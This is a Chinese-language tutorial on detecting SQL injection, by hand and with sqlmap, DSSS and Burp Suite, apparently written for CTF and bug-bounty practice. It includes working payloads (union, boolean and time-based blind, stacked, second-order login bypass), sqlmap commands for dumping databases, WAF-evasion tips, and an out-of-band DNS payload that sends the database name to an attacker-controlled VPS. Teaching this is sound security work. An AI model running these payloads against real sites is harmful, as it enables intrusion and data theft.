SQL注入手工检测流程

约 18 分钟读完

核心说明:SQL注入漏洞的检测与判断是实战渗透的核心前置步骤——先确认漏洞存在、明确漏洞类型,才能结合前文五大数据库差异,选用对应的注入语法和Payload。本文聚焦“手工检测+自动工具+回显类型判断”三大核心模块,全程贴合CTF/SRC实战场景,步骤清晰、可直接套用,兼顾新手入门与老手复盘,与前文技术风格、实战导向保持一致。

一、手工检测流程(核心重点,必练必背)

手工检测是最精准、最灵活的漏洞检测方式,可规避工具误报/漏报,尤其适用于有WAF拦截、参数加密等复杂场景。核心逻辑:寻找可控参数→触发异常→验证漏洞,全程分5步,循序渐进无冗余。

1. 寻找用户可控参数(漏洞入口定位)

核心:SQL注入的本质是“用户输入被拼接到SQL语句中执行”,因此第一步需找到所有用户可自主控制、且会被后端带入数据库查询的参数,重点关注以下场景(按优先级排序):

  • URL参数:最常见入口,如?id=1、?username=test、?page=3(GET请求);

  • 表单参数:登录框(username/password)、搜索框、注册表单、留言板(POST请求);

  • Cookie/Headers参数:部分网站会将用户标识(如uid、token)、客户端信息(如User-Agent)带入查询,易被忽略;

  • 特殊参数:文件上传文件名(部分后端会查询文件名合法性)、路径参数(如/info/123,123可能作为ID被查询)。

注意:优先测试数字型、字符型参数(最易出现注入),排除静态参数(如?type=news,值固定不变,无法控制)。

2. 插入特殊字符,观察报错(漏洞初判)

核心:向可控参数中插入SQL特殊字符,破坏原有SQL语句的语法结构,若后端未做过滤/转义,会返回数据库报错信息,即可初步判断存在注入漏洞。

常用特殊字符(按测试优先级排序,配套测试示例):

-- 测试参数:?id=1(以GET请求为例,POST参数同理)
1. 单引号 ' :最核心测试字符,?id=1'
   - 若返回数据库报错(如You have an error in your SQL syntax)→ 大概率存在注入;
   - 若页面空白/报错但无数据库信息→ 可能存在过滤,继续测试其他字符;
   - 若页面正常→ 暂不排除,需结合其他字符验证。

2. 双引号 " :?id=1"
   - 用于判断是否为双引号闭合的注入,报错则说明参数被双引号包裹。

3. 括号组合 () :?id=1') 、?id=(1) 、?id=1'))
   - 用于判断参数是否被括号包裹(如SELECT * FROM user WHERE id=(1)),报错则说明闭合方式含括号。

4. 分号 ; :?id=1';
   - 用于判断是否支持堆叠注入(可执行多条SQL语句),若页面异常/报错,需进一步验证。

5. 其他辅助字符:?id=1 and 1=1 、?id=1 or 1=1 ,观察页面是否有差异。

关键技巧:报错信息中若包含数据库类型(如MySQL、Oracle),可直接结合前文数据库差异,后续针对性注入(如看到Oracle报错,需准备带别名的Payload)。

3. 判断注入类型(数字型/字符型/搜索型)

核心:不同注入类型的闭合方式、Payload语法不同,需精准区分,避免因类型判断错误导致注入失败,三种类型对比及判断方法如下:

3.1 数字型注入(最易利用)

后端SQL语句格式:SELECT * FROM 表名 WHERE id=参数(无引号包裹,参数为数字),如SELECT * FROM user WHERE id=1。

判断方法(2种,任选其一):

  • ?id=1 and 1=1 → 页面正常(与原页面一致);?id=1 and 1=2 → 页面异常(空白/无数据),则为数字型;

  • ?id=1-1 → 若页面显示id=0的内容(或异常),说明参数被当作数字运算,为数字型(MySQL支持数字运算,其他数据库同理)。

3.2 字符型注入(最常见)

后端SQL语句格式:SELECT * FROM 表名 WHERE 字段='参数'(单引号/双引号包裹,参数为字符串),如SELECT * FROM user WHERE username='test'。

判断方法:

  • 单引号闭合:?id=1' and 1=1 --+ → 页面正常;?id=1' and 1=2 --+ → 页面异常,为单引号字符型;

  • 双引号闭合:?id=1" and 1=1 --+ → 页面正常;?id=1" and 1=2 --+ → 页面异常,为双引号字符型;

  • 说明:--+ 用于截断后续SQL语句(URL中+代表空格),避免因语法错误导致报错。

3.3 搜索型注入(特殊场景)

后端SQL语句格式:SELECT * FROM 表名 WHERE 字段 LIKE '%参数%'(用于搜索框,含%通配符),如SELECT * FROM article WHERE title LIKE '%test%'。

判断方法:

  • 搜索框输入:test' and 1=1 --+ → 页面正常;输入test' and 1=2 --+ → 页面异常;

  • URL参数(若搜索结果带参数):?keyword=test%' and 1=1 --+ → 页面正常,即可判断为搜索型。

4. 判断闭合方式(注入成功的关键)

核心:闭合方式即后端包裹参数的符号,只有精准闭合原有SQL语句,才能拼接自己的注入语句,常见闭合方式及判断方法如下(结合第二步特殊字符测试结果):

闭合方式 测试语句 判断依据 后端SQL示例
单引号闭合 ?id=1' --+ (正常) 输入?id=1' 报错,加--+后正常 SELECT * FROM user WHERE id='1'
双引号闭合 ?id=1" --+ (正常) 输入?id=1" 报错,加--+后正常 SELECT * FROM user WHERE id="1"
单引号+括号 ?id=1') --+ (正常) 输入?id=1' 报错,输入?id=1') 仍报错,加--+正常 SELECT * FROM user WHERE id=('1')
无闭合(数字型) ?id=1 and 1=1 (正常) 输入特殊字符不报错,and逻辑判断有效 SELECT * FROM user WHERE id=1

5. 验证可执行性(确认漏洞可利用)

核心:部分场景下,特殊字符报错仅说明过滤不严,未必能执行注入语句,需进一步验证可执行性,确认漏洞可利用,常用验证语句如下(适配所有类型):

-- 1. 逻辑判断验证(最基础)
?id=1' and 1=1 --+ → 页面正常(与原页面一致,无报错、有数据)
?id=1' and 1=2 --+ → 页面异常(空白、无数据、报错)
-- 说明:逻辑判断生效,说明注入语句被执行,漏洞可利用。

-- 2. 列数判断(为联合查询铺垫)
?id=1' order by 1 --+ → 正常
?id=1' order by 2 --+ → 正常
?id=1' order by 3 --+ → 报错
-- 说明:报错时的N-1即为查询列数(此处列数为2),后续联合查询需保持列数一致。

-- 3. 联合查询验证(快速确认可回显)
?id=1' union all select 1,2 --+ → 页面显示1、2(或对应位置显示数字)
-- 说明:可正常执行联合查询,后续可替换1、2为敏感信息查询语句(如database())。

注意:若逻辑判断无效(and 1=2页面仍正常),可能存在WAF拦截、参数过滤,需尝试绕过(如内联注释、关键字替换),或判断为无回显漏洞。

二、自动检测工具(高效辅助,实战必备)

核心:手工检测精准但耗时,自动工具可快速批量检测漏洞,适合大范围扫描(如SRC批量挖洞),但需结合手工验证规避误报,重点掌握3类工具的核心用法,不冗余、重实战。

1. SQLmap(核心工具,必学必用)

定位:开源、跨平台,支持所有主流数据库,可自动检测注入类型、闭合方式,甚至自动脱库,是SQL注入实战中最常用的工具,核心用法如下(重点记常用参数):

1.1 基础用法(单参数检测)

# 1. GET请求参数检测(最常用)
sqlmap -u "http://xxx.com/index.php?id=1" --batch  # --batch 自动确认,无需手动交互
# 2. POST请求参数检测(如登录框)
sqlmap -u "http://xxx.com/login.php" --data "username=test&password=123" --batch
# 3. Cookie参数检测(参数在Cookie中)
sqlmap -u "http://xxx.com/index.php" --cookie "uid=1;token=abc" --batch

1.2 核心参数(必记,适配实战场景)

--dbs          # 枚举所有数据库名(脱库第一步)
--tables -D 库名  # 枚举指定数据库下的所有表名
--columns -D 库名 -T 表名  # 枚举指定表下的所有字段名
--dump -D 库名 -T 表名 -C 字段名  # 下载指定字段的数据(如账号密码)
--dbms 数据库名  # 手动指定数据库类型(如--dbms MySQL,提高检测效率)
--level 3       # 检测级别(1-5),级别越高,检测越全面(默认1,建议3)
--risk 2        # 风险级别(1-3),级别越高,越易触发WAF(默认1)
--random-agent  # 随机User-Agent,规避WAF拦截
--proxy http://127.0.0.1:8080  # 代理访问,隐藏自身IP(适配SRC)

1.3 实战技巧

  • SQLmap检测出漏洞后,需手工验证(如复制工具生成的Payload,手动访问确认),避免误报;

  • 若检测失败(无漏洞提示),可尝试提高level和risk,或手动指定数据库类型;

  • 遇到WAF拦截时,可添加--random-agent、--delay 1(延迟1秒),降低检测频率。

2. 其他辅助工具(补充使用)

无需深入学习所有功能,重点掌握核心用法,辅助SQLmap和手工检测,提高效率。

2.1 DSSS(Damn Small SQLi Scanner)

定位:轻量级SQL注入扫描工具,体积小、速度快,适合快速初步检测,核心用法:

# 基础扫描(GET参数)
dsss http://xxx.com/index.php?id=1
# 特点:输出简洁,仅提示是否存在注入、注入类型,适合批量快速筛查。

2.2 Burp Suite(主动/被动扫描插件)

定位:渗透测试全能工具,需安装SQL注入相关插件,实现主动/被动扫描,核心用法:

  • 被动扫描:开启Burp代理,浏览器访问目标网站,Burp自动抓取请求,插件(如SQLi Scanner)自动检测请求中的注入漏洞,适合渗透过程中同步检测;

  • 主动扫描:选中目标请求,右键选择“Active Scan”,自定义扫描规则(重点勾选SQL注入相关),手动触发扫描,精准度高于被动扫描;

  • 技巧:Burp扫描出的漏洞,需手动复制Payload验证,避免因插件误报导致判断错误。

3. 工具与手工结合思路(实战核心)

核心原则:工具负责批量筛查、初步检测,手工负责精准判断、漏洞利用,避免过度依赖工具,具体流程:

  1. 批量筛查:用SQLmap、DSSS批量扫描目标网站的所有可控参数,筛选出可能存在注入漏洞的目标;

  2. 手工验证:对工具提示有漏洞的目标,用手工检测流程(特殊字符、逻辑判断)确认漏洞存在,明确注入类型和闭合方式;

  3. 漏洞利用:结合前文数据库差异,手工构造Payload(或用SQLmap指定Payload),执行注入、脱库等操作;

  4. 绕过WAF:若工具检测失败,手工尝试特殊字符、绕过技巧,确认是否存在被WAF拦截的注入漏洞。

三、有无回显判断(注入手法选择的核心)

核心:回显类型直接决定注入手法的选择——不同回显场景,需选用不同的注入方式(如报错注入仅适用于有显错场景),精准判断回显类型,可避免做无用功,四大回显场景及对应注入手法如下:

1. 有显错(最易利用,优先选择)

场景特征:插入特殊字符后,页面直接返回数据库报错信息(如SQL语法错误、字段不存在等),可清晰看到后端SQL语句的部分内容或数据库类型。

对应注入手法(按优先级排序):

  • 报错注入:直接利用报错函数,将敏感数据(库名、表名)带入报错信息输出,效率最高(如MySQL的EXTRACTVALUE、MSSQL的convert报错);

  • 联合查询注入:若报错注入受限制(如函数被过滤),用联合查询拼接敏感信息查询语句,直接在页面回显结果;

  • 技巧:报错信息中若包含数据库类型,直接选用对应数据库的报错函数,无需额外判断。

2. 无显错但有页面差异(布尔盲注)

场景特征:插入特殊字符后,页面不返回数据库报错,但会出现明显差异(如“正常显示数据”和“空白页面”“无数据提示”的切换),即布尔值判断有效。

对应注入手法:布尔盲注(核心)

  • 核心逻辑:通过构造布尔判断语句(如ASCII码逐字符猜解),根据页面差异,逐步猜解敏感数据;

  • 实战示例(MySQL,猜解数据库名第一个字符): ?id=1' and ASCII(SUBSTR(database(),1,1))=100 --+ -- 页面正常→ 第一个字符ASCII码为100(即d);页面异常→ 不为100,逐步调整ASCII码猜解。

  • 技巧:布尔盲注效率较低,可结合工具(如SQLmap的--technique B参数)自动猜解,手工仅用于验证。

3. 无页面差异(时间盲注)

场景特征:插入特殊字符、布尔判断语句后,页面无任何差异(始终显示同一内容),无法通过页面状态判断注入语句是否执行。

对应注入手法:时间盲注(核心)

  • 核心逻辑:通过构造时间延迟语句(如睡眠函数),根据页面响应时间,判断注入语句是否执行、布尔判断是否成立;

  • 实战示例(五大数据库通用思路,以MySQL为例): ?id=1' and IF(ASCII(SUBSTR(database(),1,1))=100,SLEEP(5),1) --+ -- 页面延迟5秒响应→ 第一个字符ASCII码为100;无延迟→ 不为100。

  • 注意:不同数据库的时间函数不同(如MSSQL用WAITFOR DELAY、Oracle用DBMS_LOCK.SLEEP),需结合前文数据库差异选用。

4. 无回显、无延迟(特殊注入手法)

场景特征:最复杂场景,无显错、无页面差异、时间延迟也无效(如后端屏蔽了所有异常响应、过滤了睡眠函数),需选用特殊注入手法。

对应注入手法(按适配场景排序):

4.1 堆叠注入

核心:通过分号; 拼接多条SQL语句,执行后续语句(如创建表、写入文件),无需依赖页面回显,仅支持部分数据库(MySQL、MSSQL),示例:

?id=1'; CREATE TABLE test (a varchar(100));--+ 
-- 执行两条语句:原查询语句 + 创建test表,无需页面回显,后续可通过其他方式验证表是否创建成功。

4.2 二次注入

核心:注入语句分两次提交——第一次将注入语句存入数据库(如注册时输入恶意用户名),第二次触发数据库查询(如登录时读取用户名),执行注入语句,示例:

  • 第一步(存入注入语句):注册用户名→ test' or 1=1 --+ ,后端存入数据库;

  • 第二步(触发执行):登录时,后端执行SQL→ SELECT * FROM user WHERE username='test' or 1=1 --+ ,执行or 1=1,登录成功(无需回显)。

4.3 带外注入(OOB注入,最常用)

核心:将敏感数据通过HTTP、DNS等协议,发送到自己控制的服务器(如VPS),无需依赖目标网站回显,适配所有数据库,实战首选,示例(MySQL):

?id=1' and LOAD_FILE(CONCAT('\\\\',database(),'.xxx.vps\\test'))--+ 
-- 将数据库名作为DNS域名,发送到自己的VPS,通过VPS的DNS日志,查看数据库名。

技巧:带外注入需准备自己的VPS(配置DNS/HTTP日志),适合无回显、无延迟的复杂场景,成功率极高。

回显类型判断总结(必记)

  • 有显错→ 报错注入 > 联合查询(效率优先);

  • 无显错有差异→ 布尔盲注(手工/工具结合);

  • 无页面差异→ 时间盲注(注意数据库时间函数差异);

  • 无回显无延迟→ 带外注入 > 堆叠注入 > 二次注入(优先选带外)。

四、实战注意事项(避坑关键)

  • 漏洞检测需在合法授权范围内进行(如SRC漏洞响应、授权渗透),禁止未授权扫描他人网站;

  • 工具检测必做手工验证,避免误报(如SQLmap提示存在漏洞,但手工测试无异常,需排除工具误判);

  • 遇到WAF拦截,先尝试简单绕过(如关键字小写、内联注释),再换检测方法,不盲目提高工具风险级别;

  • 始终结合前文“五大数据库差异”,不同数据库的注入语法、函数不同,避免混用Payload导致注入失败。

← 主流注入利用手法(核心实战模块) SQL基础查询语法:注入判断与结构探测 →